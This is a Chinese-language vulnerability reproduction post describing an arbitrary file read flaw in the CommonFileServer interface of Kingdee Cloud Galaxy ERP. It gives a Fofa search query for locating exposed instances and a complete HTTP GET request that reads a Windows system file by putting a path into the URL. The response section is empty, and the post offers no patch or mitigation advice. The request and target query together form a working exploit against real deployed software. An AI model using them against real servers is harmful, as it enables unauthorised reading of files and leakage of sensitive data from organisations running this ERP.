【漏洞复现】金蝶云星空CommonFileServer存在任意文件读取漏洞

熔城Sec

发布于 2026-07-22 20:14:29

60

漏洞描述

金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云星空聚焦多组织，多利润中心的大中型企业。其CommonFileServer接口存在任意文件读取漏洞，由于对文件路径参数未进行严格的校验，攻击者可通过构造特殊路径读取服务器上的任意文件，导致敏感信息泄露。

资产收集

Fofa语句
app="金蝶云星空-管理中心"

漏洞复现

发送请求

GET /CommonFileServer/c:/windows/win.ini HTTP/1.1
Host: 
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

返回包